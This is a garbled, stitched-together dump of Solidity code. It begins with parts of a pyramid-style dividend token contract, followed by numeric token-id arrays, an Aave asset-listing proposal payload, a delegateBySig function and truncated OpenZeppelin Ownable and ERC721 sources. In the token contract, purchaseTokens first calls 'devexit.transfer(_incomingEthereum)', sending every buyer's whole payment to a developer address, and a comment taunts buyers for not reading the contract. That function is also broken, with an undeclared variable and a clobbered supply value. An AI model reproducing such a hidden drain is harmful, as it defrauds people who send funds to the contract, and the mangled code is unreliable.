SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens); // Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them; //really i know you think you do but you don't int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee); payoutsTo_[_customerAddress] += _updatedPayouts; // fire event onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy); return _amountOfTokens; } /** * Calculate Token price based on an amount of incoming ethereum * It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation; * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code. */ function ethereumToTokens_(uint256 _ethereum) internal view returns(uint256) { uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18; uint256 _tokensReceived = ( ( // underflow attempts BTFO SafeMath.sub( (sqrt ( (_tokenPriceInitial**2) + (2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18)) + (((tokenPriceIncremental_)**2)*(tokenSupply_**2)) + (2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_) ) ), _tokenPriceInitial ) )/(tokenPriceIncremental_) )-(tokenSupply_) ; return _tokensReceived; } /** * Calculate token sell value. * It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation; * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code. */ function tokensToEthereum_(uint256 _tokens) internal view returns(uint256) { uint256 tokens_ = (_tokens + 1e18); uint256 _tokenSupply = (tokenSupply_ + 1e18); uint256 _etherReceived = ( // underflow attempts BTFO SafeMath.sub( ( ( ( tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18)) )-tokenPriceIncremental_ )*(tokens_ - 1e18) ),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2 ) /1e18); return _etherReceived; } //This is where all your gas goes, sorry //Not sorry, you probably only paid 1 gwei function sqrt(uint x) internal pure returns (uint y) { uint z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
Set up the dev exit transfer with all of your ether because you did not read the contract. no point in continuing execution if OP is a poorfag russian hacker prevents overflow in the case that the pyramid somehow magically starts being used by everyone in the world (or hackers) and yes we know that the safemath function automatically rules out the "greater then" equasion. is the user referred by a masternode? is this a referred purchase? no cheating! does the referrer have at least X whole tokens? i.e is the referrer a godly chad masternode wealth redistribution no ref purchase add the referral bonus back to the global dividends cake we can't give people infinite ethereum add tokens to the pool take the amount of dividends gained through this transaction, and allocates them evenly to each shareholder calculate the amount of tokens the customer receives over his purchase add tokens to the pool
function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns(uint256) { devexit.transfer(_incomingEthereum); address _customerAddress = msg.sender; uint256 _undividedDividends = SafeMath.div(_incomingEthereum, dividendFee_); uint256 _referralBonus = SafeMath.div(_undividedDividends, 3); uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus); uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); uint256 _fee = _dividends * magnitude; require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_)); if( _referredBy != 0x0000000000000000000000000000000000000000 && _referredBy != _customerAddress && tokenBalanceLedger_[_referredBy] >= stakingRequirement ){ referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus); _dividends = SafeMath.add(_dividends, _referralBonus); _fee = _dividends * magnitude; } if(tokenSupply_ > 0){ tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens); profitPerShare_ += (_dividends * magnitude / (tokenSupply_)); _fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_)))); tokenSupply_ = _amountOfTokens; } payoutsTo_[_customerAddress] += _updatedPayouts; return _amountOfTokens; }
14,525,091
[ 1, 694, 731, 326, 4461, 2427, 7412, 598, 777, 434, 3433, 225, 2437, 2724, 1846, 5061, 486, 855, 326, 6835, 18, 1158, 1634, 316, 29702, 4588, 309, 7247, 353, 279, 8275, 280, 74, 346, 436, 5567, 2779, 11769, 264, 17793, 9391, 316, 326, 648, 716, 326, 2395, 23083, 28578, 4447, 6478, 2542, 3832, 1399, 635, 3614, 476, 316, 326, 9117, 261, 280, 11769, 414, 13, 471, 12465, 732, 5055, 716, 326, 11029, 351, 421, 445, 6635, 2931, 596, 326, 315, 11556, 2045, 1508, 6, 1298, 345, 285, 18, 353, 326, 729, 29230, 635, 279, 4171, 2159, 35, 353, 333, 279, 29230, 23701, 35, 1158, 19315, 1776, 5, 1552, 326, 14502, 1240, 622, 4520, 1139, 7339, 2430, 35, 277, 18, 73, 353, 326, 14502, 279, 314, 369, 715, 462, 361, 4171, 2159, 732, 4162, 5813, 4027, 1158, 1278, 23701, 527, 326, 1278, 29084, 324, 22889, 1473, 358, 326, 2552, 3739, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 565, 445, 23701, 5157, 12, 11890, 5034, 389, 31033, 41, 18664, 379, 16, 1758, 389, 266, 4193, 858, 13, 203, 3639, 2713, 203, 3639, 1135, 12, 11890, 5034, 13, 203, 565, 288, 203, 3639, 4461, 8593, 18, 13866, 24899, 31033, 41, 18664, 379, 1769, 203, 3639, 1758, 389, 10061, 1887, 273, 1234, 18, 15330, 31, 203, 3639, 2254, 5034, 389, 1074, 427, 13898, 7244, 350, 5839, 273, 14060, 10477, 18, 2892, 24899, 31033, 41, 18664, 379, 16, 31945, 14667, 67, 1769, 203, 3639, 2254, 5034, 389, 1734, 29084, 38, 22889, 273, 14060, 10477, 18, 2892, 24899, 1074, 427, 13898, 7244, 350, 5839, 16, 890, 1769, 203, 3639, 2254, 5034, 389, 2892, 350, 5839, 273, 14060, 10477, 18, 1717, 24899, 1074, 427, 13898, 7244, 350, 5839, 16, 389, 1734, 29084, 38, 22889, 1769, 203, 3639, 2254, 5034, 389, 8066, 329, 41, 18664, 379, 273, 14060, 10477, 18, 1717, 24899, 31033, 41, 18664, 379, 16, 389, 1074, 427, 13898, 7244, 350, 5839, 1769, 203, 3639, 2254, 5034, 389, 8949, 951, 5157, 273, 13750, 822, 379, 774, 5157, 67, 24899, 8066, 329, 41, 18664, 379, 1769, 203, 3639, 2254, 5034, 389, 21386, 273, 389, 2892, 350, 5839, 380, 13463, 31, 203, 7010, 3639, 2583, 24899, 8949, 951, 5157, 405, 374, 597, 261, 9890, 10477, 18, 1289, 24899, 8949, 951, 5157, 16, 2316, 3088, 1283, 67, 13, 405, 1147, 3088, 1283, 67, 10019, 203, 540, 203, 3639, 309, 12, 203, 5411, 389, 266, 4193, 858, 480, 374, 92, 12648, 12648, 12648, 12648, 12648, 597, 203, 203, 5411, 389, 2 ]
./partial_match/1/0x09c07C439333E387E501Df5cDBa8CEF3E26aD455/sources/YSTToken.sol
* @notice Delegates votes from signatory to `delegatee` @param delegatee The address to delegate votes to @param nonce The contract state required to match the signature @param expiry The time at which to expire the signature @param v The recovery byte of the signature @param r Half of the ECDSA signature pair @param s Half of the ECDSA signature pair/
function delegateBySig( address delegatee, uint256 nonce, uint256 expiry, uint8 v, bytes32 r, bytes32 s ) external { bytes32 domainSeparator = keccak256( abi.encode( DOMAIN_TYPEHASH, keccak256(bytes(name())), getChainId(), address(this) ) ); bytes32 structHash = keccak256( abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry) ); bytes32 digest = keccak256( abi.encodePacked("\x19\x01", domainSeparator, structHash) ); address signatory = ecrecover(digest, v, r, s); require( signatory != address(0), "YST::delegateBySig: invalid signature" ); require( nonce == nonces[signatory]++, "YST::delegateBySig: invalid nonce" ); require(now <= expiry, "YST::delegateBySig: signature expired"); return _delegate(signatory, delegatee); }
2,588,115
[ 1, 15608, 815, 19588, 628, 1573, 8452, 358, 1375, 22216, 73, 68, 225, 7152, 73, 1021, 1758, 358, 7152, 19588, 358, 225, 7448, 1021, 6835, 919, 1931, 358, 845, 326, 3372, 225, 10839, 1021, 813, 622, 1492, 358, 6930, 326, 3372, 225, 331, 1021, 11044, 1160, 434, 326, 3372, 225, 436, 670, 6186, 434, 326, 7773, 19748, 3372, 3082, 225, 272, 670, 6186, 434, 326, 7773, 19748, 3372, 3082, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 7152, 858, 8267, 12, 203, 3639, 1758, 7152, 73, 16, 203, 3639, 2254, 5034, 7448, 16, 203, 3639, 2254, 5034, 10839, 16, 203, 3639, 2254, 28, 331, 16, 203, 3639, 1731, 1578, 436, 16, 203, 3639, 1731, 1578, 272, 203, 565, 262, 3903, 288, 203, 3639, 1731, 1578, 2461, 6581, 273, 417, 24410, 581, 5034, 12, 203, 5411, 24126, 18, 3015, 12, 203, 7734, 27025, 67, 2399, 15920, 16, 203, 7734, 417, 24410, 581, 5034, 12, 3890, 12, 529, 10756, 3631, 203, 7734, 30170, 548, 9334, 203, 7734, 1758, 12, 2211, 13, 203, 5411, 262, 203, 3639, 11272, 203, 203, 3639, 1731, 1578, 1958, 2310, 273, 417, 24410, 581, 5034, 12, 203, 5411, 24126, 18, 3015, 12, 1639, 19384, 2689, 67, 2399, 15920, 16, 7152, 73, 16, 7448, 16, 10839, 13, 203, 3639, 11272, 203, 203, 3639, 1731, 1578, 5403, 273, 417, 24410, 581, 5034, 12, 203, 5411, 24126, 18, 3015, 4420, 329, 31458, 92, 3657, 64, 92, 1611, 3113, 2461, 6581, 16, 1958, 2310, 13, 203, 3639, 11272, 203, 203, 3639, 1758, 1573, 8452, 273, 425, 1793, 3165, 12, 10171, 16, 331, 16, 436, 16, 272, 1769, 203, 3639, 2583, 12, 203, 5411, 1573, 8452, 480, 1758, 12, 20, 3631, 203, 5411, 315, 61, 882, 2866, 22216, 858, 8267, 30, 2057, 3372, 6, 203, 3639, 11272, 203, 3639, 2583, 12, 203, 5411, 7448, 422, 1661, 764, 63, 2977, 8452, 3737, 15, 16, 203, 5411, 315, 61, 882, 2866, 22216, 858, 8267, 30, 2057, 7448, 6, 203, 3639, 11272, 203, 3639, 2583, 2 ]
./partial_match/1/0x603696E8740b0Fa0b8aEFC202052ae757a59CF1b/sources/AssetsListingProposalPayload.sol
* @title AssetsListingProposalPayload @notice Proposal payload to be executed by the Aave Governance contract via DELEGATECALL - Lists AAVE, UNI and GUSD in the protocol, each one with different configurations @author Aave/
contract AssetsListingProposalPayload is IProposalExecutor { event ProposalExecuted(); ILendingPoolConfigurator public constant LENDING_POOL_CONFIGURATOR = ILendingPoolConfigurator( 0x311Bb771e4F8952E6Da169b425E7e92d6Ac45756 ); address public constant CRV_ERC20 = 0xD533a949740bb3306d119CC777fa900bA034cd52; address public constant CRV_ATOKEN = 0x84ddcafDece3b3E3a93372852B42455a644872a5; address public constant CRV_STABLE_DEBT_TOKEN = 0x288672D311Da6edC89765204A6d309701e7289d4; address public constant CRV_VARIABLE_DEBT_TOKEN = 0xCBd8e12555aE7949dC4AEa3A33385E25bfc4E0b2; address public constant CRV_INTEREST_STRATEGY = 0xE3a3DE71B827cB73663A24cDB6243bA7F986cC3b; uint256 public constant CRV_LTV = 4000; uint256 public constant CRV_LIQUIDATION_THRESHOLD = 5500; uint256 public constant CRV_LIQUIDATION_BONUS = 11500; uint8 public constant CRV_DECIMALS = 18; function execute() external override { LENDING_POOL_CONFIGURATOR.initReserve(CRV_ATOKEN, CRV_STABLE_DEBT_TOKEN, CRV_VARIABLE_DEBT_TOKEN, CRV_DECIMALS, CRV_INTEREST_STRATEGY); LENDING_POOL_CONFIGURATOR.enableBorrowingOnReserve(CRV_ERC20, false); LENDING_POOL_CONFIGURATOR.configureReserveAsCollateral( CRV_ERC20, CRV_LTV, CRV_LIQUIDATION_THRESHOLD, CRV_LIQUIDATION_BONUS ); emit ProposalExecuted(); } }
15,521,922
[ 1, 10726, 19081, 14592, 6110, 225, 19945, 2385, 358, 506, 7120, 635, 326, 432, 836, 611, 1643, 82, 1359, 6835, 3970, 2030, 19384, 1777, 13730, 300, 11592, 432, 26714, 16, 19462, 471, 611, 3378, 40, 316, 326, 1771, 16, 1517, 1245, 598, 3775, 10459, 225, 432, 836, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 26284, 19081, 14592, 6110, 353, 467, 14592, 6325, 288, 203, 225, 871, 19945, 23839, 5621, 203, 203, 225, 467, 48, 2846, 2864, 17182, 1071, 5381, 511, 12280, 67, 20339, 67, 7203, 1099, 3575, 273, 467, 48, 2846, 2864, 17182, 12, 203, 565, 374, 92, 23, 2499, 38, 70, 4700, 21, 73, 24, 42, 6675, 9401, 41, 26, 40, 69, 26035, 70, 24, 2947, 41, 27, 73, 9975, 72, 26, 9988, 7950, 27, 4313, 203, 225, 11272, 203, 203, 225, 1758, 1071, 5381, 6732, 58, 67, 654, 39, 3462, 273, 374, 17593, 25, 3707, 69, 29, 7616, 5608, 20, 9897, 3707, 7677, 72, 23635, 6743, 14509, 507, 29, 713, 70, 37, 4630, 24, 4315, 9401, 31, 203, 203, 225, 1758, 1071, 5381, 6732, 58, 67, 789, 6239, 273, 374, 92, 5193, 449, 71, 1727, 758, 311, 23, 70, 23, 41, 23, 69, 29, 3707, 27, 6030, 9401, 38, 24, 3247, 2539, 69, 1105, 8875, 9060, 69, 25, 31, 203, 21281, 225, 1758, 1071, 5381, 6732, 58, 67, 882, 2782, 67, 1639, 38, 56, 67, 8412, 273, 374, 92, 6030, 5292, 9060, 40, 23, 2499, 40, 69, 26, 329, 39, 6675, 6669, 9401, 3028, 37, 26, 72, 5082, 10580, 1611, 73, 27, 6030, 29, 72, 24, 31, 203, 21281, 225, 1758, 1071, 5381, 6732, 58, 67, 16444, 67, 1639, 38, 56, 67, 8412, 273, 374, 92, 8876, 72, 28, 73, 2138, 2539, 25, 69, 41, 7235, 7616, 72, 39, 24, 16985, 69, 23, 37, 3707, 23, 7140, 41, 2947, 70, 7142, 24, 41, 20, 70, 2 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev 